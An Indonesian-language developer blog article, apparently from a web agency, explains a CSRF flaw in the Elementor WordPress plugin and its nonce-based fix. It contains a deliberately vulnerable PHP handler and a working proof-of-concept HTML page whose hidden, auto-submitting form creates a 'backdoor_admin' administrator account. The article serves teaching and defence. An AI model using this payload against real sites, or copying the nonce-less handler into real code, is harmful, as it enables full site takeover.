Dev Notes
Celah CSRF di Elementor Bikin WordPress Rawan Dibajak: Anatomi Serangan dan Cara Mitigasinya
Celah keamanan high-severity CSRF ditemukan di Elementor yang memungkinkan pembuatan akun admin baru. Pahami mekanismenya dan amankan instalasi WordPress Anda.

Bagi sebagian besar engineer atau site owner yang mengelola puluhan hingga ratusan website berbasis WordPress, plugin page builder seperti Elementor sudah jadi makanan sehari-hari. Namun, makin masif adopsi suatu modul, makin besar pula target permukaan serangannya (attack surface). Baru-baru ini, sebuah celah keamanan berkategori high-severity berbasis Cross-Site Request Forgery (CSRF) ditemukan pada plugin Elementor.
Celah ini bukan sekadar bug visual atau glitch pada editor halaman. Dampaknya sangat destruktif: penyerang (attacker) bisa memicu pembuatan akun administrator baru tanpa perlu mengetahui kredensial login korban secara langsung. Serangan ini bekerja secara silent dan terpicu hanya karena seorang admin yang sedang authenticated mengeklik tautan berbahaya yang sudah disiapkan oleh penyerang.
Sebagai software engineer, tech lead, atau siapapun yang bertanggung jawab atas infrastruktur web, kita perlu memahami anatomi exploit ini sampai ke level kode. Di artikel ini, kita akan bedah bagaimana CSRF di ekosistem WordPress bekerja, mengapa validasi token keamanan (nonce) sering luput, bagaimana alur eksploitasinya, dan langkah mitigasi konkret yang harus lu ambil sekarang juga.
Anatomi Serangan: Mengapa CSRF Bisa Berujung Full Site Takeover?

Untuk memahami kenapa bug ini sangat berbahaya, kita harus balik ke konsep dasar cara kerja peramban (browser) dan session handling.
Ketika lu login ke dashboard WordPress (/wp-admin), server akan menyetel cookie autentikasi di browser lu. Selama masa sesi aktif, setiap request yang dikirimkan browser ke domain WordPress tersebut—baik itu melalui form submit, Ajax request, ataupun fetch API—akan secara otomatis menyertakan cookie autentikasi tersebut. Perilaku ini adalah standar kerja protokol HTTP berbasis cookie.
Cross-Site Request Forgery (CSRF) mengeksploitasi kepercayaan (trust) yang dimiliki server terhadap browser pengguna.
Dalam skenario Elementor ini, alurnya terjadi seperti berikut:
- Penyerang membangun sebuah halaman jebakan (misalnya di domain luar seperti
attacker-site.com). - Di halaman tersebut, penyerang menyisipkan script otomatis (atau form tersembunyi) yang mengirimkan payload POST ke endpoint administratif WordPress korban. Payload ini berisi instruksi untuk mendaftarkan akun baru dengan role Administrator.
- Penyerang memancing admin WordPress yang sedang aktif login untuk membuka tautan jebakan tersebut via teknik phishing, email, pesan instan, atau forum.
- Begitu tautan diklik, browser milik admin secara otomatis menembakkan request ke endpoint WordPress target dengan membawa cookie sesi admin yang valid.
- Karena Elementor gagal memvalidasi request origin atau cryptographic nonce, WordPress menganggap request tersebut sah datang dari inisiatif sang admin, lalu mengeksekusi pembuatan akun admin baru milik penyerang.
Begitu akun admin baru berhasil dibuat, penyerang mendapatkan kendali penuh atas situs tersebut (full takeover). Dari level administrator, penyerang bisa mengunggah plugin berbahaya yang berisi web shell, mengubah file tema, menyuntikkan malicious redirect, hingga mengakses seluruh basis data situs.
Bedah Kode: Di Mana Letak Kesalahan Implementasi?

Di ekosistem WordPress, pertahanan utama terhadap serangan CSRF adalah penggunaan WordPress Nonce (Number used once). Nonce adalah token kriptografi satu kali pakai yang unik untuk setiap sesi pengguna, aksi tertentu, dan jendela waktu tertentu.
Mari kita lihat perbandingan antara penulisan kode yang rentan (vulnerable pattern) dan implementasi yang benar (secure pattern) saat menangani aksi administratif.
1. Pola Kode yang Rentan (Vulnerable Pattern)
Sering kali developer membuat AJAX handler atau REST action dan hanya memeriksa apakah pengguna memiliki hak akses (kapabilitas), tetapi lupa memverifikasi apakah request tersebut memang sengaja dipicu oleh pengguna dari halaman yang sah.
<?php
/**
* CONTOH KODE RENTAN (ANTI-PATTERN)
* Endpoint ini menerima request tanpa memvalidasi cryptographic nonce.
*/
add_action('wp_ajax_elementor_vulnerable_create_admin', 'handle_vulnerable_admin_creation');
function handle_vulnerable_admin_creation() {
// KESALAHAN 1: Hanya memeriksa kapabilitas user tanpa memverifikasi Nonce / Origin
if (!current_user_can('create_users')) {
wp_send_json_error(['message' => 'Unauthorized'], 403);
}
$username = sanitize_user($_POST['username'] ?? '');
$email = sanitize_email($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';
if (empty($username) || empty($email) || empty($password)) {
wp_send_json_error(['message' => 'Data tidak lengkap'], 400);
}
// Pembuatan akun dieksekusi langsung
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
wp_send_json_error(['message' => $user_id->get_error_message()], 400);
}
$user = new WP_User($user_id);
$user->set_role('administrator');
wp_send_json_success(['message' => 'Admin baru berhasil dibuat', 'user_id' => $user_id]);
}Kenapa kode di atas berbahaya?
- Fungsi
current_user_can('create_users')akan bernilaitruejika request dikirimkan oleh peramban admin yang sedang login, meskipun request tersebut dipicu secara diam-diam oleh script pihak ketiga di latar belakang. - Tidak ada pengecekan parameter
_wpnonceatau header verifikasi. Akibatnya, siapapun yang bisa memaksa browser admin menembak endpointadmin-ajax.php?action=elementor_vulnerable_create_adminakan berhasil mengeksekusi fungsi ini.
2. Pola Kode yang Aman (Hardened Pattern)
Untuk mengamankan endpoint dari CSRF, setiap mutasi data wajib memverifikasi token nonce dan memastikan bahwa token tersebut cocok dengan action identifier dan sesi pengguna.
<?php
/**
* CONTOH KODE AMAN (SECURE PATTERN)
* Memvalidasi nonce, sanitasi input, dan verifikasi kapabilitas ketat.
*/
add_action('wp_ajax_elementor_secure_create_admin', 'handle_secure_admin_creation');
function handle_secure_admin_creation() {
// 1. Verifikasi Nonce secara ketat
// check_ajax_referer() akan otomatis memutus eksekusi jika nonce invalid
$nonce = $_POST['_wpnonce'] ?? '';
if (!wp_verify_nonce($nonce, 'elementor_admin_action_nonce')) {
wp_send_json_error([
'code' => 'invalid_nonce',
'message' => 'Sesi tidak valid atau telah kedaluwarsa. Silakan refresh halaman.'
], 403);
return;
}
// 2. Verifikasi Kapabilitas Pengguna
if (!current_user_can('create_users') || !current_user_can('promote_users')) {
wp_send_json_error([
'code' => 'forbidden',
'message' => 'Anda tidak memiliki hak akses untuk aksi ini.'
], 403);
return;
}
// 3. Sanitasi dan Validasi Input Data
$username = sanitize_user($_POST['username'] ?? '');
$email = sanitize_email($_POST['email'] ?? '');
$password = $_POST['password'] ?? '';
if (empty($username) || !is_email($email) || empty($password)) {
wp_send_json_error(['message' => 'Payload data tidak valid.'], 422);
return;
}
// 4. Proses Transaksi
$user_id = wp_create_user($username, $password, $email);
if (is_wp_error($user_id)) {
wp_send_json_error(['message' => $user_id->get_error_message()], 400);
return;
}
$user = new WP_User($user_id);
$user->set_role('administrator');
wp_send_json_success([
'message' => 'Akun administrator berhasil didaftarkan.',
'user_id' => $user_id
]);
}Detail penting dari implementasi di atas:
wp_verify_nonce($nonce, 'elementor_admin_action_nonce'): Memastikan bahwa request membawa token rahasia yang hanya bisa di-generate oleh server WordPress pada sesi aktif admin saat merender UI halaman admin resmi.- Pihak penyerang di domain eksternal tidak bisa membaca token nonce ini karena terhalang oleh aturan Same-Origin Policy (SOP) pada browser.
Bagaimana Penyerang Meracik Exploit CSRF?
Biar lu punya gambaran utuh bagaimana penyerang mengeksploitasi celah semacam ini, mari kita intip contoh Proof of Concept (PoC) payload HTML yang biasa digunakan penyerang di situs jebakan mereka.
Penyerang biasanya membuat halaman web sederhana dengan form tersembunyi yang langsung di-submit via JavaScript begitu halaman terbuka:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Penawaran Menarik!</title>
</head>
<body>
<h1>Sedang memuat konten, harap tunggu...</h1>
<!-- Form tersembunyi yang menargetkan endpoint WordPress korban -->
<form id="csrfForm" action="https://target-situs-wordpress.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="elementor_vulnerable_create_admin" />
<input type="hidden" name="username" value="backdoor_admin" />
<input type="hidden" name="email" value="attacker@exploit-server.com" />
<input type="hidden" name="password" value="SuperSecretP@ssw0rd123!" />
</form>
<script>
// Form langsung di-submit secara otomatis saat DOM siap
document.addEventListener("DOMContentLoaded", function() {
document.getElementById('csrfForm').submit();
});
</script>
</body>
</html>Ketika target (admin yang sedang login) membuka halaman tersebut:
- Skrip JavaScript mengeksekusi
submit()secara otomatis. - Form menembakkan HTTP POST ke
/wp-admin/admin-ajax.phpdi situs target. - Karena target sedang memiliki sesi aktif di situs target, browser menyematkan cookie
wordpress_logged_in_*. - Jika endpoint tidak memvalidasi nonce, server memproses data tersebut dan menciptakan user
backdoor_admindengan role administrator.
Peringatan: Eksploitasi semacam ini tidak memerlukan brute force kata sandi atau code injection yang rumit. Titik lemahnya murni terletak pada hilangnya rantai verifikasi asal *
Butuh penyesuaian khusus untuk project Anda?
Jika situasi operasional atau arsitektur sistem bisnis Anda membutuhkan solusi kustom, diskusikan langsung bersama tim engineer kami. Anda juga bisa melihat rincian layanan vour.dev atau menghitung estimasi biaya project lebih dulu.
Mulai Project